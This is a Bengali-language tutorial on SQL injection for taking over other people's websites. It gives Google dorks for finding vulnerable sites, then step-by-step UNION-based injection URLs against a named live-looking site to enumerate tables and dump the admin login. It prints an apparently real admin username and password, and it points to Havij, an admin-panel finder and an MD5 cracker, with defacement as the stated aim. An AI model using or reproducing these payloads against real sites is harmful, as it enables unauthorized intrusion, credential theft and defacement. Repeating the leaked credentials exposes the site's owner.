হ্যাকিং এর প্রাথমিক বিষয় sql infection
————————————

হ্যাকিং এর প্রাথমিক বিষয় sql infection এর পুরো ব্যাবহ্যার যানুন আর জারা জানেন না তারা শিখুন।
আজ আমরা Sql injection এর মাধ্যমে অন্যজনের Site এর Admin/pass বের করা শিখব। Sql injection হলে Hacking world এর সর্বপ্রথম ধাপ। এটা Hacking world এর ABCD . . . . . . . . .
এখানে অনেকেই আছেন যারা SQL Injection কি তা জানেন এমন কি ডিফেস করার চেষ্টাও করেছে। এটা খুবই সাধারণ ভলনারাবিলিটি এবং সবাই এটা ব্যবহার করেই ওয়েবসাইট ডিফেস করার চেষ্টা করে। কিন্তু, বর্তমানে এই পদ্ধতিতে সফলভাবে ডিফেস করার সম্ভবনা কম। শুধু জানার জন্য আমি SQL ইনজেকশন শিখাবো। ১০০০ ওয়েবসাইট ডিফেস করা মানেই বিশাল হ্যাকার হওয়া না। তাই বলে কেউ যদি মনে করেন এটা দিয়ে ডিফেস করা যাবে না, তাহলে সে ধারণা ভুল। এবার মূল আলোচনায় আসি।
SQL Injection কি?
SQL Inection হল ওয়েব এ্যাপ্লিকেশনগুলোতে প্রাপ্ত ভলনারাবিলিটিগুলোর মধ্যে অন্যতম বিপজ্জনক একটি, যা দিয়ে ডাটাবেজকে পুরোপুরি নিয়ন্ত্রণে নিয়ে তথ্য বের করা, মুছে ফেলা বা পরিবর্তন করা সম্ভব।
SQL = Structured Query Language।
এটা কোন প্রোগ্রামিং ল্যাঙ্গুয়েজ নয়। এটা ডাটাবেজ হ্যান্ডেল করার জন্য বিশ্বের স্ট্যান্ডার্ড। এই কাজ করার জন্য SQL এর জ্ঞান আবশ্যক। তবে, আজকের টিউটোরিয়াল যেহেতু শুধুমাত্র ভলনারাবিলিটি খোঁজা নিয়ে, তাই আর দেরি না করে দেখা যাক আমাদের জন্য SQL এর কি কি জিনিস জানা প্রয়োজন।
কিভাবে করব SQL Injection?
অনেক সাইটেই দেখা যায় এ্যাড্রেস বারে এড্রেসটা এরকম
http://www.takeco.com/EN/pro_view_detail.php?id=65
এখানে দেখা যাচ্ছে, প্রশ্নবোধ চিহ্নের পর id=65 লেখা হয়েছে। এটা হল GET ভ্যালু। ওয়েব সার্ভারে ডাটা পাঠানোর জন্য দুইটি পদ্ধতি আছে। GET এবং POST। POST করা ডাটা এ্যাড্রেসবারে দেখা যায় না। যেমন আপনি ফেসবুকে লগইন করার সময় মেইল-পাসওয়ার্ড লেখার পর বাটনে ক্লিক করার পর তা POST হয়েছে। GET ডাটা এ্যাড্রেসবারে দেখা যায়। সাধারণত পেজ নং, রেকর্ড নং, ইউজার নং প্রভৃতি GET এ থাকে, যার মান নিয়ে ওয়েব এ্যাপ্লিকেশনটি ডাটাবেজের কাছে দিয়ে বলে “অমুক কলাম থেকে অমুক সারি খুঁজে বের করে কি লেখা আছে বল তো দেখি…”। আমরা এরই সুযোগ নিব। এই বলতো দেখি পর যদি “একটু এডমিন পাওসওয়ার্ডটা বল তো দেখি…”
যদি ঢুকিয়ে দেয়া যায়, তাহলেই কেল্লা ফলে। এই ঢুকিয়ে দেয়ার বিষয়টা আছে বলেই এর নাম SQL “Injection”। অর্থাৎ, যারা ফিল্টার বা ডাটা সরাসরি এক্সপোজ করে, তারা ভলনারেবল হতে পারে যদি না ভ্যালিডেশন চেক করা হয়। উদাহরণস্বরুপ ধরি, http://www.takeco.com/EN/pro_view_detail.php?id=65 ।
এখানে ডাটাবেজকে কোন এক জায়গা থেকে 65 নং তথ্যটি দিতে বলছে। সার্ভার ভ্যালিডেশন চেক করছে কিনা তা বোঝার জন্য id= এর জায়গায় id=65′ করে দিন।
যদি কোন এরর মেসেজ দেখায় এবং বলে SQL Syntax এ সমস্যা আছে, তাহলে বুঝবেন কেল্লা ফলে, আবার! সাইট ভলনারেবল। এবার আসল মজা শুরু।
তাহলে কথা না বারিয়ে শুরু করি !
প্রথমে SQL INJECT করার জন্য আমাদের ভার্নাবল সাইট খুজতে হবে।
এর জন্য আমরা dork use করব !
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl lay_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:Pageid=
inurl:games.php?id=
inurl age.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id= site.in
প্রথম এ একটা dork নিয়ে আমরা www.google.com এ SEARCH দিব !
inurl:news-and-events.php?id= এই dork দিয়া SEARCH
দিয়ে আমি অনেক সাইট দেখলাম সেখান থেকে আমি একটা সাইট নিলাম ।
যেমন :
http://www.takeco.com/EN/pro_view_detail.php?id=65
প্রথমে SQL INJECT করার জন্য সাইটের ID ভেল্যু খুজতে হয় । এরপর আপনাকে দেখতে হবে সাইট টি injectable কিনা । এর জন্য আপনাকে url এর শেষে একটি ‘ বসাতে হবে ।
http://www.takeco.com/EN/pro_view_detail.php?id=65 ’
যদি ডাটাবেজের কিছু মিসিং আসে বা পেজের কিছু ইরর আসে তাহলে বুঝবেন সাইট টি injectable ।
যেমন : “You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ”’ at line 1″
এখন injectable সাইটে inject করার জন্য আপনাকে প্রথমে ডাটাবেজের কলাম বের করতে হবে ।
এখানে আমাদের ভার্নাবল সাইট
http://www.takeco.com/EN/pro_view_detail.php?id=65
যাই হোক , আমাদের ডাটাবেজের কলাম বের করতে হলে +order+by+ কমান্ড দিতে হবে ।
তাহলে লিংকটি দাড়ায়
http://www.takeco.com/EN/pro_view_detail.php?id=65+order+by+
এখন + এর শেষে আপনাকে 1 থেকে শুরু করে তত পর্যন্ত চেষ্টা করতে হবে । এখন 1 নিয়ে দেখেন তাহলে লিংকটি দাড়ায়
http://www.takeco.com/EN/pro_view_detail.php?id=65+order+by+1 –
নাহ , তাহলে সাইটে কোনো ডাটা মিস করতেছে না ।
আবার 2 দিয়ে চেষ্টা করি
http://www.takeco.com/EN/pro_view_detail.php?id=65+order+by+2 –
নাহ , এবারও ডাটা মিস করতেছে না ।
এবাবে 3,4,5,6,7,8,9 করে 11 পর্যন্ত গেলাম ।
12 এ গেলে পুরো সাইট SQL ইরর দেখায় ।
(অনেক সময় দেখা যায়
www.site.com/index.php?id=1 order 999–
[ no error ]
অর্থাৎ order by 999 দিলেও কোন error দেখায় না ।
এক্ষেত্রে — এর পর + এবং id=1 এর পর ‘ sign দিতে হবে ।
তাহলে সম্পূর্ণ লিঙ্কটি হবে
www.site.com/index.php?id=1 ′ order by 999–+
এবার পেজে error দেখাবে ।
বাকি অংশগুলো সাধারন SQL Injection এর মতই হবে ।)
http://www.takeco.com/EN/pro_view_detail.php?id=65+order+by+12 –
ইরর এরকমের হতে পারে ।
Could not connect to MySQL server: Unknown column ’12′ in ‘order clause’ ।
অর্থ্যাত্ এই সাইটের ডাটাবেজের কলাম 11 টি ।
এখন আমাদের দেখতে হবে এই 11 টা কলামের ভেতর ভার্নাবল কোনটি ।
এর জন্য আমাদের আবার কমান্ড ব্যবহার করতে হবে ।
কমান্ড টি
+union+select+1,2,3,4,5,6,7,8,9,10,11–
তাহলে লিংক টি দাড়াবে
http://www.takeco.com/EN/pro_view_detail.php?id=-65%20+union
+select+1,2,3,4,5,6,7,8,9,10,11 –
( উল্লেখ , এখানে pro_view_detail.php?
id=65 এর পর একটি — দেয়া হয়েছে )
এখন আপনি ভার্নাবল কলাম দেখতে পাবেন ।
এই সাইটের ভার্নাবল কলাম 3 দেখাবে ।
এখানে আমরা 3 নম্বর কলাম নিয়ে কাজ করবো ।
এখন আমরা ভার্নাবল কলামের ভার্সন বের করবো ।
এর জন্য আপনাকে আবার একটি কমান্ড ব্যবহার করতে হবে ।
এখন আগের লিংকে শুধু 3 এর জায়গায় @@versionদিতে হবে ।
তাহলে লিংক টি দাড়ায়
http://www.takeco.com/EN/pro_view_detail.php?id=-65+union+select+1,2 , version() ,4,5,6,7,8,9,10,11–
এই লিংকে গেলে আমরা ভার্সন দেখতে পাবো ।
এটার ভার্সন 5.0.45 ভার্সন 5 এর নিচে সাইট গুলো হবে না তা বাদ দিয়ে অন্যগুলো সাইট inject করতে চেষ্টা করবেন ।
এখন আমরা আরেকটি কমান্ড ব্যবহার করে টেবিল বের করব ।
এক্ষেত্রে ভার্নাবল কলামের বদলে group_concat(table_name) কমান্ড দিবো এবং শেষ কলামের পর
+from+information_schema.tables+where+table_schema=database()– কমান্ড দিবো ।
তাহলে লিংকটি দাড়ালো
http://www.takeco.com/EN/pro_view_detail.php?id=-65+union+select+1,2,group_concat(table_name),4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database() –
লিংকে গেলে আপনি কিছু টেবিল দেখতে পাবেন এই সাইটের টেবিল গুলো হল
tc_admin,tc_cat_gall,tc_category,tc_contact,tc_gallery,tc_know,tc_news,tc_product,tc_service,tc_welcome,tc_you_gall,tc_you
এখন এখান থেকে এডমিন টেবিল বের করতে হবে ।
এক্ষেত্রে আপনাকে একটু বুদ্বি খাটাতে হবে । যেমন এখানে tc_cat_gall,tc_category এর এডমিন টেবিল হবে না বুঝা যায় । একমাত্র tc_admin এডমিন টেবিল মনে হয় ।
ধরে নিতে না পারলে বা ভুল ধরলে সমাস্যা নেই । কমান্ডের মাধ্যমে বের করতে হবে ।
এক্ষেত্রে আপনাকে ভার্নাবল সাইটের বদলে group_concat(column_name) কমান্ড দিতে হবে । এবং শেষ কলামের পর +frominformation_schema.columns where
table_name= এর পর আপনারধরে নেয়া এডমিন টেবিলের CHAR রুপান্তর দিতে হবে ।
এই লিংক থেকে এডঅন টি ডাউনলোড করে ইন্সটল করেন ফায়ারফক্স ব্রাউজার ।
https://addons.mozilla.org/en-US/firefox/addon/hackbar/
এখন হ্যাকবার টি ওপেন করেন F9 চেপে
এবার SQL>MySQL>MySQL CHAR() ক্লিক করেন ।
নতুন একটা বক্স আসবেন সেখানে অ্যাডমিন টেবিল টি দিয়ে ok দিন ।
এখানে est_admin কে CHAR রুপান্তর করলে হয় CHAR(101, 115, 116,95, 97, 100, 109, 105, 110) তাহলে লিংকটি দাড়ায়
http://www.takeco.com/EN/pro_view_detail.php?id=-65+union+select+1,2,group_concat(column_name),4,5,6,7,8,9,10,11+from+information_schema.columns+where+table_name=CHAR (116, 99, 95, 97, 100, 109,105, 110) —
আপনি এডমিন টেবিল ধারনা না করতে পারলে আপনি = এর পর অন্যান্য টেবিলের হেক্স রুপান্তর দিয়ে চেষ্টা করবেন । যেহেতু আমরা বুঝেছি est_admin এডমিন টেবিল এর CHAR রুপান্তর দিয়ে লিংকে গিয়ে আমরা পেলাম কিছু এডমিন কলাম । adminID,username,password,create_date
এখন আমরা এডমিন কলাম থেকে সাইটে লগিনের জন্য ইউজারমেম আর পাসওয়ার্ড বের করবো ।
এজন্য আমাদের শেষ কমান্ড ব্যবহার করতে হবে । এজন্য আমাদের ভার্নবল কলামের বদলে group_concat(adminID,0x3a,Password,0x3a), কমান্ড দিবো ।
যেহেতু আমরা এডমিন কলামে userId পেয়েছি । তাহ login এর বদলে কমান্ডে userId লিখবো । আপনি অন্য সাইটে অন্য কিছুও পেতে পারেন । কলাম হিসেবে আপনাকে কমান্ড করতে হবে । একৈ ভাবে কমান্ডে Pass এর বদলে password ব্যবহার করতে হবে । এবং শেষ কলামের পর +from+ tc_admin — বসাতে হবে ।+from+ এর পর est_admin দিলাম কারন এখানে এডমিন টেবিল tc_admin । তাহলে লিংক টি দাড়ায়
http://www.takeco.com/EN/pro_view_detail.php?id=-65+union+select+1,2,group_concat
(username,0x3a,password,0x3a),4,5,6,7,8,9,10,11+from+tc_admin –
দেখবেন আপনি ইউজারনেম পেয়ে যাবেন ।
এখানে ইউজারমেম পাসওয়ার্ড হচ্ছে tetadmin: VXoEFlG41Y:
ইউজারমেম tetadmin পাসওয়ার্ড VXoEFlG41Y এখন শেষ কাজ হচ্ছে এডমিন পেনেল বের করা । এর জন্য আপনাকে কোনো সফ্টওয়ার বা এডমিন ফাইন্ডার সাইট ব্যবহার করতে হবে । যারা মোবাইল দিয়ে হ্যাকিং করেন তারা এডমিন প্যানেল খোজার জন্য এই সাইট টি ব্যবহার করতে পারেন
http://y-shahinzadeh.ir/af/
আর যারা পিসি তে কাজ করবেন তারা havij ব্যবহার করবেন এডমিন প্যানেল খোজার জন্য আর MD5 হ্যাশ ভাঙতে http://
www.hashkiller.co.uk/md5-decrypter.aspx
এটি ব্যবহার করবেন ।
ApOn